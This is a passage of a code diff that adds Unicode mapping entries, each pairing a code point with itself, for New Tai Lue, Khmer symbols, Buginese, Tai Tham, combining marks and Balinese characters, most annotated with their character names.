+ ["\u1986", "\u1986"], /* NEW TAI LUE LETTER LOW XA */
+ ["\u1987", "\u1987"], /* NEW TAI LUE LETTER LOW NGA */
+ ["\u1988", "\u1988"], /* NEW TAI LUE LETTER HIGH TSA */
+ ["\u1989", "\u1989"], /* NEW TAI LUE LETTER HIGH SA */
+ ["\u198A", "\u198A"], /* NEW TAI LUE LETTER HIGH YA */
+ ["\u198B", "\u198B"], /* NEW TAI LUE LETTER LOW TSA */
+ ["\u198C", "\u198C"], /* NEW TAI LUE LETTER LOW SA */
+ ["\u198D", "\u198D"], /* NEW TAI LUE LETTER LOW YA */
+ ["\u198E", "\u198E"], /* NEW TAI LUE LETTER HIGH TA */
+ ["\u198F", "\u198F"], /* NEW TAI LUE LETTER HIGH THA */
+ ["\u1990", "\u1990"], /* NEW TAI LUE LETTER HIGH NA */
+ ["\u1991", "\u1991"], /* NEW TAI LUE LETTER LOW TA */
+ ["\u1992", "\u1992"], /* NEW TAI LUE LETTER LOW THA */
+ ["\u1993", "\u1993"], /* NEW TAI LUE LETTER LOW NA */
+ ["\u1994", "\u1994"], /* NEW TAI LUE LETTER HIGH PA */
+ ["\u1995", "\u1995"], /* NEW TAI LUE LETTER HIGH PHA */
+ ["\u1996", "\u1996"], /* NEW TAI LUE LETTER HIGH MA */
+ ["\u1997", "\u1997"], /* NEW TAI LUE LETTER LOW PA */
+ ["\u1998", "\u1998"], /* NEW TAI LUE LETTER LOW PHA */
+ ["\u1999", "\u1999"], /* NEW TAI LUE LETTER LOW MA */
+ ["\u199A", "\u199A"], /* NEW TAI LUE LETTER HIGH FA */
+ ["\u199B", "\u199B"], /* NEW TAI LUE LETTER HIGH VA */
+ ["\u199C", "\u199C"], /* NEW TAI LUE LETTER HIGH LA */
+ ["\u199D", "\u199D"], /* NEW TAI LUE LETTER LOW FA */
+ ["\u199E", "\u199E"], /* NEW TAI LUE LETTER LOW VA */
+ ["\u199F", "\u199F"], /* NEW TAI LUE LETTER LOW LA */
+ ["\u19A0", "\u19A0"], /* NEW TAI LUE LETTER HIGH HA */
+ ["\u19A1", "\u19A1"], /* NEW TAI LUE LETTER HIGH DA */
+ ["\u19A2", "\u19A2"], /* NEW TAI LUE LETTER HIGH BA */
+ ["\u19A3", "\u19A3"], /* NEW TAI LUE LETTER LOW HA */
+ ["\u19A4", "\u19A4"], /* NEW TAI LUE LETTER LOW DA */
+ ["\u19A5", "\u19A5"], /* NEW TAI LUE LETTER LOW BA */
+ ["\u19A6", "\u19A6"], /* NEW TAI LUE LETTER HIGH KVA */
+ ["\u19A7", "\u19A7"], /* NEW TAI LUE LETTER HIGH XVA */
+ ["\u19A8", "\u19A8"], /* NEW TAI LUE LETTER LOW KVA */
+ ["\u19A9", "\u19A9"], /* NEW TAI LUE LETTER LOW XVA */
+ ["\u19AA", "\u19AA"], /* NEW TAI LUE LETTER HIGH SUA */
+ ["\u19AB", "\u19AB"], /* NEW TAI LUE LETTER LOW SUA */
+ ["\u19AC", "\u19AC"],
+ ["\u19AD", "\u19AD"],
+ ["\u19AE", "\u19AE"],
+ ["\u19AF", "\u19AF"],
+ ["\u19B0", "\u19B0"], /* NEW TAI LUE VOWEL SIGN VOWEL SHORTENER */
+ ["\u19B1", "\u19B1"], /* NEW TAI LUE VOWEL SIGN AA */
+ ["\u19B2", "\u19B2"], /* NEW TAI LUE VOWEL SIGN II */
+ ["\u19B3", "\u19B3"], /* NEW TAI LUE VOWEL SIGN U */
+ ["\u19B4", "\u19B4"], /* NEW TAI LUE VOWEL SIGN UU */
+ ["\u19B5", "\u19B5"], /* NEW TAI LUE VOWEL SIGN E */
+ ["\u19B6", "\u19B6"], /* NEW TAI LUE VOWEL SIGN AE */
+ ["\u19B7", "\u19B7"], /* NEW TAI LUE VOWEL SIGN O */
+ ["\u19B8", "\u19B8"], /* NEW TAI LUE VOWEL SIGN OA */
+ ["\u19B9", "\u19B9"], /* NEW TAI LUE VOWEL SIGN UE */
+ ["\u19BA", "\u19BA"], /* NEW TAI LUE VOWEL SIGN AY */
+ ["\u19BB", "\u19BB"], /* NEW TAI LUE VOWEL SIGN AAY */
+ ["\u19BC", "\u19BC"], /* NEW TAI LUE VOWEL SIGN UY */
+ ["\u19BD", "\u19BD"], /* NEW TAI LUE VOWEL SIGN OY */
+ ["\u19BE", "\u19BE"], /* NEW TAI LUE VOWEL SIGN OAY */
+ ["\u19BF", "\u19BF"], /* NEW TAI LUE VOWEL SIGN UEY */
+ ["\u19C0", "\u19C0"], /* NEW TAI LUE VOWEL SIGN IY */
+ ["\u19C1", "\u19C1"], /* NEW TAI LUE LETTER FINAL V */
+ ["\u19C2", "\u19C2"], /* NEW TAI LUE LETTER FINAL NG */
+ ["\u19C3", "\u19C3"], /* NEW TAI LUE LETTER FINAL N */
+ ["\u19C4", "\u19C4"], /* NEW TAI LUE LETTER FINAL M */
+ ["\u19C5", "\u19C5"], /* NEW TAI LUE LETTER FINAL K */
+ ["\u19C6", "\u19C6"], /* NEW TAI LUE LETTER FINAL D */
+ ["\u19C7", "\u19C7"], /* NEW TAI LUE LETTER FINAL B */
+ ["\u19C8", "\u19C8"], /* NEW TAI LUE TONE MARK-1 */
+ ["\u19C9", "\u19C9"], /* NEW TAI LUE TONE MARK-2 */
+ ["\u19CA", "\u19CA"],
+ ["\u19CB", "\u19CB"],
+ ["\u19CC", "\u19CC"],
+ ["\u19CD", "\u19CD"],
+ ["\u19CE", "\u19CE"],
+ ["\u19CF", "\u19CF"],
+ ["\u19D0", "\u19D0"], /* NEW TAI LUE DIGIT ZERO */
+ ["\u19D1", "\u19D1"], /* NEW TAI LUE DIGIT ONE */
+ ["\u19D2", "\u19D2"], /* NEW TAI LUE DIGIT TWO */
+ ["\u19D3", "\u19D3"], /* NEW TAI LUE DIGIT THREE */
+ ["\u19D4", "\u19D4"], /* NEW TAI LUE DIGIT FOUR */
+ ["\u19D5", "\u19D5"], /* NEW TAI LUE DIGIT FIVE */
+ ["\u19D6", "\u19D6"], /* NEW TAI LUE DIGIT SIX */
+ ["\u19D7", "\u19D7"], /* NEW TAI LUE DIGIT SEVEN */
+ ["\u19D8", "\u19D8"], /* NEW TAI LUE DIGIT EIGHT */
+ ["\u19D9", "\u19D9"], /* NEW TAI LUE DIGIT NINE */
+ ["\u19DA", "\u19DA"], /* NEW TAI LUE THAM DIGIT ONE */
+ ["\u19DB", "\u19DB"],
+ ["\u19DC", "\u19DC"],
+ ["\u19DD", "\u19DD"],
+ ["\u19DE", "\u19DE"], /* NEW TAI LUE SIGN LAE */
+ ["\u19DF", "\u19DF"], /* NEW TAI LUE SIGN LAEV */
+ ["\u19E0", "\u19E0"], /* KHMER SYMBOL PATHAMASAT */
+ ["\u19E1", "\u19E1"], /* KHMER SYMBOL MUOY KOET */
+ ["\u19E2", "\u19E2"], /* KHMER SYMBOL PII KOET */
+ ["\u19E3", "\u19E3"], /* KHMER SYMBOL BEI KOET */
+ ["\u19E4", "\u19E4"], /* KHMER SYMBOL BUON KOET */
+ ["\u19E5", "\u19E5"], /* KHMER SYMBOL PRAM KOET */
+ ["\u19E6", "\u19E6"], /* KHMER SYMBOL PRAM-MUOY KOET */
+ ["\u19E7", "\u19E7"], /* KHMER SYMBOL PRAM-PII KOET */
+ ["\u19E8", "\u19E8"], /* KHMER SYMBOL PRAM-BEI KOET */
+ ["\u19E9", "\u19E9"], /* KHMER SYMBOL PRAM-BUON KOET */
+ ["\u19EA", "\u19EA"], /* KHMER SYMBOL DAP KOET */
+ ["\u19EB", "\u19EB"], /* KHMER SYMBOL DAP-MUOY KOET */
+ ["\u19EC", "\u19EC"], /* KHMER SYMBOL DAP-PII KOET */
+ ["\u19ED", "\u19ED"], /* KHMER SYMBOL DAP-BEI KOET */
+ ["\u19EE", "\u19EE"], /* KHMER SYMBOL DAP-BUON KOET */
+ ["\u19EF", "\u19EF"], /* KHMER SYMBOL DAP-PRAM KOET */
+ ["\u19F0", "\u19F0"], /* KHMER SYMBOL TUTEYASAT */
+ ["\u19F1", "\u19F1"], /* KHMER SYMBOL MUOY ROC */
+ ["\u19F2", "\u19F2"], /* KHMER SYMBOL PII ROC */
+ ["\u19F3", "\u19F3"], /* KHMER SYMBOL BEI ROC */
+ ["\u19F4", "\u19F4"], /* KHMER SYMBOL BUON ROC */
+ ["\u19F5", "\u19F5"], /* KHMER SYMBOL PRAM ROC */
+ ["\u19F6", "\u19F6"], /* KHMER SYMBOL PRAM-MUOY ROC */
+ ["\u19F7", "\u19F7"], /* KHMER SYMBOL PRAM-PII ROC */
+ ["\u19F8", "\u19F8"], /* KHMER SYMBOL PRAM-BEI ROC */
+ ["\u19F9", "\u19F9"], /* KHMER SYMBOL PRAM-BUON ROC */
+ ["\u19FA", "\u19FA"], /* KHMER SYMBOL DAP ROC */
+ ["\u19FB", "\u19FB"], /* KHMER SYMBOL DAP-MUOY ROC */
+ ["\u19FC", "\u19FC"], /* KHMER SYMBOL DAP-PII ROC */
+ ["\u19FD", "\u19FD"], /* KHMER SYMBOL DAP-BEI ROC */
+ ["\u19FE", "\u19FE"], /* KHMER SYMBOL DAP-BUON ROC */
+ ["\u19FF", "\u19FF"], /* KHMER SYMBOL DAP-PRAM ROC */
+ ["\u1A00", "\u1A00"], /* BUGINESE LETTER KA */
+ ["\u1A01", "\u1A01"], /* BUGINESE LETTER GA */
+ ["\u1A02", "\u1A02"], /* BUGINESE LETTER NGA */
+ ["\u1A03", "\u1A03"], /* BUGINESE LETTER NGKA */
+ ["\u1A04", "\u1A04"], /* BUGINESE LETTER PA */
+ ["\u1A05", "\u1A05"], /* BUGINESE LETTER BA */
+ ["\u1A06", "\u1A06"], /* BUGINESE LETTER MA */
+ ["\u1A07", "\u1A07"], /* BUGINESE LETTER MPA */
+ ["\u1A08", "\u1A08"], /* BUGINESE LETTER TA */
+ ["\u1A09", "\u1A09"], /* BUGINESE LETTER DA */
+ ["\u1A0A", "\u1A0A"], /* BUGINESE LETTER NA */
+ ["\u1A0B", "\u1A0B"], /* BUGINESE LETTER NRA */
+ ["\u1A0C", "\u1A0C"], /* BUGINESE LETTER CA */
+ ["\u1A0D", "\u1A0D"], /* BUGINESE LETTER JA */
+ ["\u1A0E", "\u1A0E"], /* BUGINESE LETTER NYA */
+ ["\u1A0F", "\u1A0F"], /* BUGINESE LETTER NYCA */
+ ["\u1A10", "\u1A10"], /* BUGINESE LETTER YA */
+ ["\u1A11", "\u1A11"], /* BUGINESE LETTER RA */
+ ["\u1A12", "\u1A12"], /* BUGINESE LETTER LA */
+ ["\u1A13", "\u1A13"], /* BUGINESE LETTER VA */
+ ["\u1A14", "\u1A14"], /* BUGINESE LETTER SA */
+ ["\u1A15", "\u1A15"], /* BUGINESE LETTER A */
+ ["\u1A16", "\u1A16"], /* BUGINESE LETTER HA */
+ ["\u1A17", "\u1A17"], /* BUGINESE VOWEL SIGN I */
+ ["\u1A18", "\u1A18"], /* BUGINESE VOWEL SIGN U */
+ ["\u1A19", "\u1A19"], /* BUGINESE VOWEL SIGN E */
+ ["\u1A1A", "\u1A1A"], /* BUGINESE VOWEL SIGN O */
+ ["\u1A1B", "\u1A1B"], /* BUGINESE VOWEL SIGN AE */
+ ["\u1A1C", "\u1A1C"],
+ ["\u1A1D", "\u1A1D"],
+ ["\u1A1E", "\u1A1E"], /* BUGINESE PALLAWA */
+ ["\u1A1F", "\u1A1F"], /* BUGINESE END OF SECTION */
+ ["\u1A20", "\u1A20"], /* TAI THAM LETTER HIGH KA */
+ ["\u1A21", "\u1A21"], /* TAI THAM LETTER HIGH KHA */
+ ["\u1A22", "\u1A22"], /* TAI THAM LETTER HIGH KXA */
+ ["\u1A23", "\u1A23"], /* TAI THAM LETTER LOW KA */
+ ["\u1A24", "\u1A24"], /* TAI THAM LETTER LOW KXA */
+ ["\u1A25", "\u1A25"], /* TAI THAM LETTER LOW KHA */
+ ["\u1A26", "\u1A26"], /* TAI THAM LETTER NGA */
+ ["\u1A27", "\u1A27"], /* TAI THAM LETTER HIGH CA */
+ ["\u1A28", "\u1A28"], /* TAI THAM LETTER HIGH CHA */
+ ["\u1A29", "\u1A29"], /* TAI THAM LETTER LOW CA */
+ ["\u1A2A", "\u1A2A"], /* TAI THAM LETTER LOW SA */
+ ["\u1A2B", "\u1A2B"], /* TAI THAM LETTER LOW CHA */
+ ["\u1A2C", "\u1A2C"], /* TAI THAM LETTER NYA */
+ ["\u1A2D", "\u1A2D"], /* TAI THAM LETTER RATA */
+ ["\u1A2E", "\u1A2E"], /* TAI THAM LETTER HIGH RATHA */
+ ["\u1A2F", "\u1A2F"], /* TAI THAM LETTER DA */
+ ["\u1A30", "\u1A30"], /* TAI THAM LETTER LOW RATHA */
+ ["\u1A31", "\u1A31"], /* TAI THAM LETTER RANA */
+ ["\u1A32", "\u1A32"], /* TAI THAM LETTER HIGH TA */
+ ["\u1A33", "\u1A33"], /* TAI THAM LETTER HIGH THA */
+ ["\u1A34", "\u1A34"], /* TAI THAM LETTER LOW TA */
+ ["\u1A35", "\u1A35"], /* TAI THAM LETTER LOW THA */
+ ["\u1A36", "\u1A36"], /* TAI THAM LETTER NA */
+ ["\u1A37", "\u1A37"], /* TAI THAM LETTER BA */
+ ["\u1A38", "\u1A38"], /* TAI THAM LETTER HIGH PA */
+ ["\u1A39", "\u1A39"], /* TAI THAM LETTER HIGH PHA */
+ ["\u1A3A", "\u1A3A"], /* TAI THAM LETTER HIGH FA */
+ ["\u1A3B", "\u1A3B"], /* TAI THAM LETTER LOW PA */
+ ["\u1A3C", "\u1A3C"], /* TAI THAM LETTER LOW FA */
+ ["\u1A3D", "\u1A3D"], /* TAI THAM LETTER LOW PHA */
+ ["\u1A3E", "\u1A3E"], /* TAI THAM LETTER MA */
+ ["\u1A3F", "\u1A3F"], /* TAI THAM LETTER LOW YA */
+ ["\u1A40", "\u1A40"], /* TAI THAM LETTER HIGH YA */
+ ["\u1A41", "\u1A41"], /* TAI THAM LETTER RA */
+ ["\u1A42", "\u1A42"], /* TAI THAM LETTER RUE */
+ ["\u1A43", "\u1A43"], /* TAI THAM LETTER LA */
+ ["\u1A44", "\u1A44"], /* TAI THAM LETTER LUE */
+ ["\u1A45", "\u1A45"], /* TAI THAM LETTER WA */
+ ["\u1A46", "\u1A46"], /* TAI THAM LETTER HIGH SHA */
+ ["\u1A47", "\u1A47"], /* TAI THAM LETTER HIGH SSA */
+ ["\u1A48", "\u1A48"], /* TAI THAM LETTER HIGH SA */
+ ["\u1A49", "\u1A49"], /* TAI THAM LETTER HIGH HA */
+ ["\u1A4A", "\u1A4A"], /* TAI THAM LETTER LLA */
+ ["\u1A4B", "\u1A4B"], /* TAI THAM LETTER A */
+ ["\u1A4C", "\u1A4C"], /* TAI THAM LETTER LOW HA */
+ ["\u1A4D", "\u1A4D"], /* TAI THAM LETTER I */
+ ["\u1A4E", "\u1A4E"], /* TAI THAM LETTER II */
+ ["\u1A4F", "\u1A4F"], /* TAI THAM LETTER U */
+ ["\u1A50", "\u1A50"], /* TAI THAM LETTER UU */
+ ["\u1A51", "\u1A51"], /* TAI THAM LETTER EE */
+ ["\u1A52", "\u1A52"], /* TAI THAM LETTER OO */
+ ["\u1A53", "\u1A53"], /* TAI THAM LETTER LAE */
+ ["\u1A54", "\u1A54"], /* TAI THAM LETTER GREAT SA */
+ ["\u1A55", "\u1A55"], /* TAI THAM CONSONANT SIGN MEDIAL RA */
+ ["\u1A56", "\u1A56"], /* TAI THAM CONSONANT SIGN MEDIAL LA */
+ ["\u1A57", "\u1A57"], /* TAI THAM CONSONANT SIGN LA TANG LAI */
+ ["\u1A58", "\u1A58"], /* TAI THAM SIGN MAI KANG LAI */
+ ["\u1A59", "\u1A59"], /* TAI THAM CONSONANT SIGN FINAL NGA */
+ ["\u1A5A", "\u1A5A"], /* TAI THAM CONSONANT SIGN LOW PA */
+ ["\u1A5B", "\u1A5B"], /* TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA */
+ ["\u1A5C", "\u1A5C"], /* TAI THAM CONSONANT SIGN MA */
+ ["\u1A5D", "\u1A5D"], /* TAI THAM CONSONANT SIGN BA */
+ ["\u1A5E", "\u1A5E"], /* TAI THAM CONSONANT SIGN SA */
+ ["\u1A5F", "\u1A5F"],
+ ["\u1A60", "\u1A60"], /* TAI THAM SIGN SAKOT */
+ ["\u1A61", "\u1A61"], /* TAI THAM VOWEL SIGN A */
+ ["\u1A62", "\u1A62"], /* TAI THAM VOWEL SIGN MAI SAT */
+ ["\u1A63", "\u1A63"], /* TAI THAM VOWEL SIGN AA */
+ ["\u1A64", "\u1A64"], /* TAI THAM VOWEL SIGN TALL AA */
+ ["\u1A65", "\u1A65"], /* TAI THAM VOWEL SIGN I */
+ ["\u1A66", "\u1A66"], /* TAI THAM VOWEL SIGN II */
+ ["\u1A67", "\u1A67"], /* TAI THAM VOWEL SIGN UE */
+ ["\u1A68", "\u1A68"], /* TAI THAM VOWEL SIGN UUE */
+ ["\u1A69", "\u1A69"], /* TAI THAM VOWEL SIGN U */
+ ["\u1A6A", "\u1A6A"], /* TAI THAM VOWEL SIGN UU */
+ ["\u1A6B", "\u1A6B"], /* TAI THAM VOWEL SIGN O */
+ ["\u1A6C", "\u1A6C"], /* TAI THAM VOWEL SIGN OA BELOW */
+ ["\u1A6D", "\u1A6D"], /* TAI THAM VOWEL SIGN OY */
+ ["\u1A6E", "\u1A6E"], /* TAI THAM VOWEL SIGN E */
+ ["\u1A6F", "\u1A6F"], /* TAI THAM VOWEL SIGN AE */
+ ["\u1A70", "\u1A70"], /* TAI THAM VOWEL SIGN OO */
+ ["\u1A71", "\u1A71"], /* TAI THAM VOWEL SIGN AI */
+ ["\u1A72", "\u1A72"], /* TAI THAM VOWEL SIGN THAM AI */
+ ["\u1A73", "\u1A73"], /* TAI THAM VOWEL SIGN OA ABOVE */
+ ["\u1A74", "\u1A74"], /* TAI THAM SIGN MAI KANG */
+ ["\u1A75", "\u1A75"], /* TAI THAM SIGN TONE-1 */
+ ["\u1A76", "\u1A76"], /* TAI THAM SIGN TONE-2 */
+ ["\u1A77", "\u1A77"], /* TAI THAM SIGN KHUEN TONE-3 */
+ ["\u1A78", "\u1A78"], /* TAI THAM SIGN KHUEN TONE-4 */
+ ["\u1A79", "\u1A79"], /* TAI THAM SIGN KHUEN TONE-5 */
+ ["\u1A7A", "\u1A7A"], /* TAI THAM SIGN RA HAAM */
+ ["\u1A7B", "\u1A7B"], /* TAI THAM SIGN MAI SAM */
+ ["\u1A7C", "\u1A7C"], /* TAI THAM SIGN KHUEN-LUE KARAN */
+ ["\u1A7D", "\u1A7D"],
+ ["\u1A7E", "\u1A7E"],
+ ["\u1A7F", "\u1A7F"], /* TAI THAM COMBINING CRYPTOGRAMMIC DOT */
+ ["\u1A80", "\u1A80"], /* TAI THAM HORA DIGIT ZERO */
+ ["\u1A81", "\u1A81"], /* TAI THAM HORA DIGIT ONE */
+ ["\u1A82", "\u1A82"], /* TAI THAM HORA DIGIT TWO */
+ ["\u1A83", "\u1A83"], /* TAI THAM HORA DIGIT THREE */
+ ["\u1A84", "\u1A84"], /* TAI THAM HORA DIGIT FOUR */
+ ["\u1A85", "\u1A85"], /* TAI THAM HORA DIGIT FIVE */
+ ["\u1A86", "\u1A86"], /* TAI THAM HORA DIGIT SIX */
+ ["\u1A87", "\u1A87"], /* TAI THAM HORA DIGIT SEVEN */
+ ["\u1A88", "\u1A88"], /* TAI THAM HORA DIGIT EIGHT */
+ ["\u1A89", "\u1A89"], /* TAI THAM HORA DIGIT NINE */
+ ["\u1A8A", "\u1A8A"],
+ ["\u1A8B", "\u1A8B"],
+ ["\u1A8C", "\u1A8C"],
+ ["\u1A8D", "\u1A8D"],
+ ["\u1A8E", "\u1A8E"],
+ ["\u1A8F", "\u1A8F"],
+ ["\u1A90", "\u1A90"], /* TAI THAM THAM DIGIT ZERO */
+ ["\u1A91", "\u1A91"], /* TAI THAM THAM DIGIT ONE */
+ ["\u1A92", "\u1A92"], /* TAI THAM THAM DIGIT TWO */
+ ["\u1A93", "\u1A93"], /* TAI THAM THAM DIGIT THREE */
+ ["\u1A94", "\u1A94"], /* TAI THAM THAM DIGIT FOUR */
+ ["\u1A95", "\u1A95"], /* TAI THAM THAM DIGIT FIVE */
+ ["\u1A96", "\u1A96"], /* TAI THAM THAM DIGIT SIX */
+ ["\u1A97", "\u1A97"], /* TAI THAM THAM DIGIT SEVEN */
+ ["\u1A98", "\u1A98"], /* TAI THAM THAM DIGIT EIGHT */
+ ["\u1A99", "\u1A99"], /* TAI THAM THAM DIGIT NINE */
+ ["\u1A9A", "\u1A9A"],
+ ["\u1A9B", "\u1A9B"],
+ ["\u1A9C", "\u1A9C"],
+ ["\u1A9D", "\u1A9D"],
+ ["\u1A9E", "\u1A9E"],
+ ["\u1A9F", "\u1A9F"],
+ ["\u1AA0", "\u1AA0"], /* TAI THAM SIGN WIANG */
+ ["\u1AA1", "\u1AA1"], /* TAI THAM SIGN WIANGWAAK */
+ ["\u1AA2", "\u1AA2"], /* TAI THAM SIGN SAWAN */
+ ["\u1AA3", "\u1AA3"], /* TAI THAM SIGN KEOW */
+ ["\u1AA4", "\u1AA4"], /* TAI THAM SIGN HOY */
+ ["\u1AA5", "\u1AA5"], /* TAI THAM SIGN DOKMAI */
+ ["\u1AA6", "\u1AA6"], /* TAI THAM SIGN REVERSED ROTATED RANA */
+ ["\u1AA7", "\u1AA7"], /* TAI THAM SIGN MAI YAMOK */
+ ["\u1AA8", "\u1AA8"], /* TAI THAM SIGN KAAN */
+ ["\u1AA9", "\u1AA9"], /* TAI THAM SIGN KAANKUU */
+ ["\u1AAA", "\u1AAA"], /* TAI THAM SIGN SATKAAN */
+ ["\u1AAB", "\u1AAB"], /* TAI THAM SIGN SATKAANKUU */
+ ["\u1AAC", "\u1AAC"], /* TAI THAM SIGN HANG */
+ ["\u1AAD", "\u1AAD"], /* TAI THAM SIGN CAANG */
+ ["\u1AAE", "\u1AAE"],
+ ["\u1AAF", "\u1AAF"],
+ ["\u1AB0", "\u1AB0"], /* COMBINING DOUBLED CIRCUMFLEX ACCENT */
+ ["\u1AB1", "\u1AB1"], /* COMBINING DIAERESIS-RING */
+ ["\u1AB2", "\u1AB2"], /* COMBINING INFINITY */
+ ["\u1AB3", "\u1AB3"], /* COMBINING DOWNWARDS ARROW */
+ ["\u1AB4", "\u1AB4"], /* COMBINING TRIPLE DOT */
+ ["\u1AB5", "\u1AB5"], /* COMBINING X-X BELOW */
+ ["\u1AB6", "\u1AB6"], /* COMBINING WIGGLY LINE BELOW */
+ ["\u1AB7", "\u1AB7"], /* COMBINING OPEN MARK BELOW */
+ ["\u1AB8", "\u1AB8"], /* COMBINING DOUBLE OPEN MARK BELOW */
+ ["\u1AB9", "\u1AB9"], /* COMBINING LIGHT CENTRALIZATION STROKE BELOW */
+ ["\u1ABA", "\u1ABA"], /* COMBINING STRONG CENTRALIZATION STROKE BELOW */
+ ["\u1ABB", "\u1ABB"], /* COMBINING PARENTHESES ABOVE */
+ ["\u1ABC", "\u1ABC"], /* COMBINING DOUBLE PARENTHESES ABOVE */
+ ["\u1ABD", "\u1ABD"], /* COMBINING PARENTHESES BELOW */
+ ["\u1ABE", "\u1ABE"], /* COMBINING PARENTHESES OVERLAY */
+ ["\u1ABF", "\u1ABF"], /* COMBINING LATIN SMALL LETTER W BELOW */
+ ["\u1AC0", "\u1AC0"], /* COMBINING LATIN SMALL LETTER TURNED W BELOW */
+ ["\u1AC1", "\u1AC1"],
+ ["\u1AC2", "\u1AC2"],
+ ["\u1AC3", "\u1AC3"],
+ ["\u1AC4", "\u1AC4"],
+ ["\u1AC5", "\u1AC5"],
+ ["\u1AC6", "\u1AC6"],
+ ["\u1AC7", "\u1AC7"],
+ ["\u1AC8", "\u1AC8"],
+ ["\u1AC9", "\u1AC9"],
+ ["\u1ACA", "\u1ACA"],
+ ["\u1ACB", "\u1ACB"],
+ ["\u1ACC", "\u1ACC"],
+ ["\u1ACD", "\u1ACD"],
+ ["\u1ACE", "\u1ACE"],
+ ["\u1ACF", "\u1ACF"],
+ ["\u1AD0", "\u1AD0"],
+ ["\u1AD1", "\u1AD1"],
+ ["\u1AD2", "\u1AD2"],
+ ["\u1AD3", "\u1AD3"],
+ ["\u1AD4", "\u1AD4"],
+ ["\u1AD5", "\u1AD5"],
+ ["\u1AD6", "\u1AD6"],
+ ["\u1AD7", "\u1AD7"],
+ ["\u1AD8", "\u1AD8"],
+ ["\u1AD9", "\u1AD9"],
+ ["\u1ADA", "\u1ADA"],
+ ["\u1ADB", "\u1ADB"],
+ ["\u1ADC", "\u1ADC"],
+ ["\u1ADD", "\u1ADD"],
+ ["\u1ADE", "\u1ADE"],
+ ["\u1ADF", "\u1ADF"],
+ ["\u1AE0", "\u1AE0"],
+ ["\u1AE1", "\u1AE1"],
+ ["\u1AE2", "\u1AE2"],
+ ["\u1AE3", "\u1AE3"],
+ ["\u1AE4", "\u1AE4"],
+ ["\u1AE5", "\u1AE5"],
+ ["\u1AE6", "\u1AE6"],
+ ["\u1AE7", "\u1AE7"],
+ ["\u1AE8", "\u1AE8"],
+ ["\u1AE9", "\u1AE9"],
+ ["\u1AEA", "\u1AEA"],
+ ["\u1AEB", "\u1AEB"],
+ ["\u1AEC", "\u1AEC"],
+ ["\u1AED", "\u1AED"],
+ ["\u1AEE", "\u1AEE"],
+ ["\u1AEF", "\u1AEF"],
+ ["\u1AF0", "\u1AF0"],
+ ["\u1AF1", "\u1AF1"],
+ ["\u1AF2", "\u1AF2"],
+ ["\u1AF3", "\u1AF3"],
+ ["\u1AF4", "\u1AF4"],
+ ["\u1AF5", "\u1AF5"],
+ ["\u1AF6", "\u1AF6"],
+ ["\u1AF7", "\u1AF7"],
+ ["\u1AF8", "\u1AF8"],
+ ["\u1AF9", "\u1AF9"],
+ ["\u1AFA", "\u1AFA"],
+ ["\u1AFB", "\u1AFB"],
+ ["\u1AFC", "\u1AFC"],
+ ["\u1AFD", "\u1AFD"],
+ ["\u1AFE", "\u1AFE"],
+ ["\u1AFF", "\u1AFF"],
+ ["\u1B00", "\u1B00"], /* BALINESE SIGN ULU RICEM */
+ ["\u1B01", "\u1B01"], /* BALINESE SIGN ULU CANDRA */
+ ["\u1B02", "\u1B02"], /* BALINESE SIGN CECEK */
+ ["\u1B03", "\u1B03"], /* BALINESE SIGN SURANG */
+ ["\u1B04", "\u1B04"], /* BALINESE SIGN BISAH */
+ ["\u1B05", "\u1B05"], /* BALINESE LETTER AKARA */
+ ["\u1B06", "\u1B06"], /* BALINESE LETTER AKARA TEDUNG */
+ ["\u1B07", "\u1B07"], /* BALINESE LETTER IKARA */
+ ["\u1B08", "\u1B08"], /* BALINESE LETTER IKARA TEDUNG */
+ ["\u1B09", "\u1B09"], /* BALINESE LETTER UKARA */
+ ["\u1B0A", "\u1B0A"], /* BALINESE LETTER UKARA TEDUNG */
+ ["\u1B0B", "\u1B0B"], /* BALINESE LETTER RA REPA */
+ ["\u1B0C", "\u1B0C"], /* BALINESE LETTER RA REPA TEDUNG */
+ ["\u1B0D", "\u1B0D"], /* BALINESE LETTER LA LENGA */
+ ["\u1B0E", "\u1B0E"], /* BALINESE LETTER LA LENGA TEDUNG */
+ ["\u1B0F", "\u1B0F"], /* BALINESE LETTER EKARA */
+ ["\u1B10", "\u1B10"], /* BALINESE LETTER AIKARA */
+ ["\u1B11", "\u1B11"], /* BALINESE LETTER OKARA */
+ ["\u1B12", "\u1B12"], /* BALINESE LETTER OKARA TEDUNG */
+ ["\u1B13", "\u1B13"], /* BALINESE LETTER KA */
+ ["\u1B14", "\u1B14"], /* BALINESE LETTER KA MAHAPRANA */
+ ["\u1B15", "\u1B15"], /* BALINESE LETTER GA */
+ ["\u1B16", "\u1B16"], /* BALINESE LETTER GA GORA */
+ ["\u1B17", "\u1B17"], /* BALINESE LETTER NGA */
+ ["\u1B18", "\u1B18"], /* BALINESE LETTER CA */
+ ["\u1B19", "\u1B19"], /* BALINESE LETTER CA LACA */
+ ["\u1B1A", "\u1B1A"], /* BALINESE LETTER JA */
+ ["\u1B1B", "\u1B1B"], /* BALINESE LETTER JA JERA */
+ ["\u1B1C", "\u1B1C"], /* BALINESE LETTER NYA */
+ ["\u1B1D", "\u1B1D"], /* BALINESE LETTER TA LATIK */
+ ["\u1B1E", "\u1B1E"], /* BALINESE LETTER TA MURDA MAHAPRANA */
+ ["\u1B1F", "\u1B1F"], /* BALINESE LETTER DA MURDA ALPAPRANA */
+ ["\u1B20", "\u1B20"], /* BALINESE LETTER DA MURDA MAHAPRANA */
+ ["\u1B21", "\u1B21"], /* BALINESE LETTER NA RAMBAT */
+ ["\u1B22", "\u1B22"], /* BALINESE LETTER TA */
+ ["\u1B23", "\u1B23"], /* BALINESE LETTER TA TAWA */
+ ["\u1B24", "\u1B24"], /* BALINESE LETTER DA */
+ ["\u1B25", "\u1B25"], /* BALINESE LETTER DA MADU */
+ ["\u1B26", "\u1B26"], /* BALINESE LETTER NA */
+ ["\u1B27", "\u1B27"], /* BALINESE LETTER PA */
+ ["\u1B28", "\u1B28"], /* BALINESE LETTER PA KAPAL */
+ ["\u1B29", "\u1B29"], /* BALINESE LETTER BA */
+ ["\u1B2A", "\u1B2A"], /* BALINESE LETTER BA KEMBANG */
+ ["\u1B2B", "\u1B2B"], /* BALINESE LETTER MA */
+ ["\u1B2C", "\u1B2C"], /* BALINESE LETTER YA */
+ ["\u1B2D", "\u1B2D"], /* BALINESE LETTER RA */
+ ["\u1B2E", "\u1B2E"], /* BALINESE LETTER LA */
+ ["\u1B2F", "\u1B2F"], /* BALINESE LETTER WA */
+ ["\u1B30", "\u1B30"], /* BALINESE LETTER SA SAGA */
